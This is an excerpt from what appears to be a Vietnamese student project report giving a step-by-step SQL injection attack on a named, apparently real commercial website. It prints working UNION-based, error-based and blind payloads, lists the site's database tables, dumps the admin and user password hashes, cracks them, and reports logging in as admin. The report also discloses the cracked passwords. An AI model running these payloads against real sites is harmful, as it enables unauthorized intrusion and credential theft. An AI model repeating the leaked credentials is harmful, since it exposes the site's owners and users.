Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (1.55 MB, 30 trang )
BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05
Để phát hiện một ứng dụng web có dính lỗi SQL Injection hay không, ta thêm
vào câu truy vấn các meta character trong các hệ quản trị cơ sở dữ liệu, chẳng
hạn như dấu nháy đơn, dấu nháy kép, dấu chấm phẩy và các ký tự comment
(--, ##, /**/, %)… và chờ xem ứng dụng web sẽ xứ lý câu truy vấn đó như
thế nào.
+
+
+
Dấu nháy đơn (‘): dấu này trong ngôn ngữ SQL dùng để “gói” chuỗi.
Ta thường thêm nó vào sau tham số kiểu số trên chuỗi truy vấn để kiểm
tra có lỗi hay không. Nguyên nhân là do không kiểm tra kiểu dữ liệu.
Dấu thăng (#) và dấu (): các dấu này để đánh dấu chú thích, nghĩa là
những kí tự đứng sau một trong hai dấu này trên cùng một dòng sẽ
được xem là chú thích được bỏ qua khi thực hiện truy vấn.
Dấu ( ; ): dùng để kết thúc một truy vấn và tất nhiên sau nó là bắt đầu
một truy vấn khác. Đôi khi ta dùng union để nối hai câu truy vấn.
Thêm vào cuối liên kết trên một trong các meta character đã nói ở trên, chẳng
hạn
ta
thêm
vào
dấu
nháy
đơn:
http://www.hoanghaidoor.vn/?frame=product_detail&id=705’
SV BM. MẠNG MÁY TÍNH – KHÓA 58
Page 15
BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05
Thông tin của sản phẩm đã mất, như vậy trang web này đã bị dính lỗi SQL
injection.
II.
Xác định số lượng cột trong mệnh đề Select
Từ khóa 'order by' được dùng để sắp xếp thứ tự cho các bản ghi thu được
trong mệnh đề select. Sau order by có thể là tên một cột để xác định rằng kết
quả thu về sẽ được sắp xếp theo giá trị của cột đó (tăng dần hoặc giảm dần).
Sau 'order by' cũng có thể là số thứ tự vị trí của cột đó. Nếu giá trị sau order
lớn hơn số cột được select thì chúng ta sẽ thấy thông tin bị mất.
Chèn sau url đoạn mã : order by ….– (… là giá trị số nguyên, thử cho đến khi
nào link bị lỗi thì dừng lại )
Order by được sử dụng để:
+ Làm tiết kiệm thời gian attack.
+ Tính số field ,column có trong CSDL SQL.
SV BM. MẠNG MÁY TÍNH – KHÓA 58
Page 16
BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05
Ở đây, khi chạy đến order by 21 thì thông tin bị mất, Suy ra số cột có trong
database là 21 -1 =20.
III.
Xác định thông tin, khai thác thông tin
Trong số 20 cột của bảng này có cột bị lỗi. Để tìm cột bị lỗi ta sử
dụng lệnh union.
Union là từ khóa dùng để gộp kết quả của nhiều mệnh đề select do
đó trong mỗi mệnh đề select đòi hỏi số lượng các trường đều phải
bằng nhau và đều bằng số lượng các trường được select trong mệnh
đề select ban đầu.
SV BM. MẠNG MÁY TÍNH – KHÓA 58
Page 17
BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05
Ở trên thanh hackbar của Firefox, ta vào SQL > Union Select
statement và nhập vào số cột của bảng là 20 cột > OK. Hackbar sẽ
tự động điền câu lệnh union cho ta trên thanh địa chỉ:
SV BM. MẠNG MÁY TÍNH – KHÓA 58
Page 18
BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05
Chạy Excute. Để tìm được cột lỗi. Cột lỗi sẽ được hiện lên những
con số, trường hợp nếu không hiện lên số cột lỗi, ta sẽ sử dụng một
trong các cách sau:
+
+
+
+
+
+
Viewsource
Xem file ảnh bị lỗi để thấy số
Thay số bằng null (vd id=-328 thì thay id=null UNION….)
Thay các column(field) bằng null (vd :UNION SELECT
null,null,….)
Bypass filter (mod_security).
TH hiện ra thông báo thế này: The used SELECT statements
have a different number of columns
Union
select
như
sau:
id=1+and+1=0+UNION
SELECT+1,2…
Hoặc dùng error base:
SV BM. MẠNG MÁY TÍNH – KHÓA 58
Page 19
BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05
And (Select 1 From(Select Count( * ),Concat(CHAR (124),
(Select
concat_ws(0x7c,version(),database(),user())),floor
(rAnd(0)*2),CHAR (124))x From Information_Schema.Tables
Group
By
x)a)–
–
and extractvalue(rand(),concat(0x3a,version(),0x3a,use r()))–
or
1
group
by
concat_ws(0x7c,version(),database(),current_user,f
loor(rand(0)*2)) having min(0) or 1–
Hoặc dùng blind: and substring(version(),1,1)=5
Tuỳ thời cơ mà biến hoá chúng.
Ta tìm được cột lỗi là 3 và 7. Ta sẽ chọn một trong hai cột bị lỗi này
để từ đó tìm ra lỗ hổng của database. Ở đây ta sẽ khai thác cột 3 để
tìm xem trong database này có những bảng nào.
Để biết được tên bảng, tên cột, ta sử dụng đối tượng
information_schema. Đối tượng này cung cấp các thông tin về
tables, columns, views và procedures… của cơ sở dữ liệu. Ở đây ta
muốn tìm thông tin về các bảng trong cơ sở dữ liệu nên ta sẽ truy
vấn từ information_schema.tables. Lệnh Group_concat để nối
nhiều giá trị với nhau.
Chèn
đoạn
mã
này
vào
số
3:
unhex(hex(group_concat(table_name))) và câu lệnh sau số 20: from
information_schema.tables. Sau đó excute địa chỉ trên. Nó sẽ hiện
ra toàn bộ tên bảng có trong database:
http://www.hoanghaidoor.vn/?frame=product_detail&id=null
UNION SELECT 1,2,unhex(hex(group_concat(table_name))) ,
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
from
information_schema.tables
SV BM. MẠNG MÁY TÍNH – KHÓA 58
Page 20
BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05
CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_S
ET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENGIN
ES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY
_COLUMN_USAGE,PARAMETERS,PARTITIONS,PLUGINS,PRO
CESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTIN
ES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSI
ON_VARIABLES,STATISTICS,TABLES,TABLESPACES,TABLE_CO
NSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGE
S,VIEWS,INNODB_BUFFER_PAGE,INNODB_TRX,INNODB_BU
FFER_POOL_STATS,INNODB_LOCK_WAITS,INNODB_CMPME
M,INNODB_CMP,INNODB_LOCKS,INNODB_CMPMEM_RESET
,INNODB_CMP_RESET,INNODB_BUFFER_PAGE_LRU,tbl_acce
ss,tbl_config,tbl_content,tbl_content_category,tbl_member,tbl_orde
r,tbl_order_detail,tbl_product,tbl_product_category,tbl_product_ho
me,tbl_product_pro,tbl_product_sell,tbl_product_special,tbl_user,t
bl_visitor
Chúng ta không quan tâm lắm nhưng table dạng như này:
CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_S
ET_ APPLICABILITY,USER_PRIVILEGES,VIEWS,… vì đó chỉ là
những table của hệ thống thôi, quan trọng là xác định được table
chứa admin trong mớ hỗn độn phía trên.
Ta có thể xem thông tin bất cứ bảng nào ta muốn, ở đây ta sẽ xem
thông tin từ bảng tbl_user để lấy thông tin user đăng nhập. Để lấy
thông tin các cột trong bảng ta thay các khoá table thành column và
table_schema thành table_name. Để truy cập cho đúng thì ta phải
SV BM. MẠNG MÁY TÍNH – KHÓA 58
Page 21
BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05
chuyển tên bảng cần lấy thông về cơ sở dữ liệu dạng SQL. Để làm
việc này ta bôi đen tên bảng (tbl_user), sau đó vào SQL > MySQL
> MySQL CHAR().
http://www.hoanghaidoor.vn/?frame=product_detail&id=null
UNION SELECT 1,2,unhex(hex(group_concat(column_name))) ,
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
from
information_schema.columns where table_name=tbl_user
Excute truy vấn trên, ta được thông tin các cột trong bảng tbl_user.
Bao gồm: id,uid,pwd
Sau công việc này ta đã xác định được 2 cloumn quan trọng nhất là
uid và pwd. Ta tiến hành lấy thông tin. Bằng cách:
SV BM. MẠNG MÁY TÍNH – KHÓA 58
Page 22
BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05
Chèn đoạn mã sau vào số 3: group_concat(uid,0x3a,pwd) và sau số
20 sẽ là: from tbl_user – (đây chính là table chứa id và pwd mà ta
đang
khai
thác).
Lưu ý: 0x3a chính là ký tự “:” ngăn cách id và pwd, hoặc 0x2f hay
0x7c là “/”.
http://www.hoanghaidoor.vn/?frame=product_detail&id=null
UNION
SELECT
1,2,group_concat(uid,0x3a,pwd)
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from tbl_user
,
Sau đó ấn Execute, ta nhận được uid cũng như pwd dưới dạng mã
hóa md5:
admin:827ccb0eea8a706c4c34a16891f84e7b
phamvan:48472492c504e777a664efeff27d9fee
Để
giải
mã
password,
truy
cập
links:
http://md5decrypt.net/en/#answer
nhập
827ccb0eea8a706c4c34a16891f84e7b sau đó ấn giải mã (Dercypt).
SV BM. MẠNG MÁY TÍNH – KHÓA 58
Page 23
BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05
Như vậy tài khoản admin có password là 12345. Ta sử dụng thông
tin trên để đăng nhập vào hệ thống, kết quả là đăng nhập thành
công. Tương tự, giải mã password của tài khoản phamvan ta được:
52041688.
SV BM. MẠNG MÁY TÍNH – KHÓA 58
Page 24
BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05
SV BM. MẠNG MÁY TÍNH – KHÓA 58
Page 25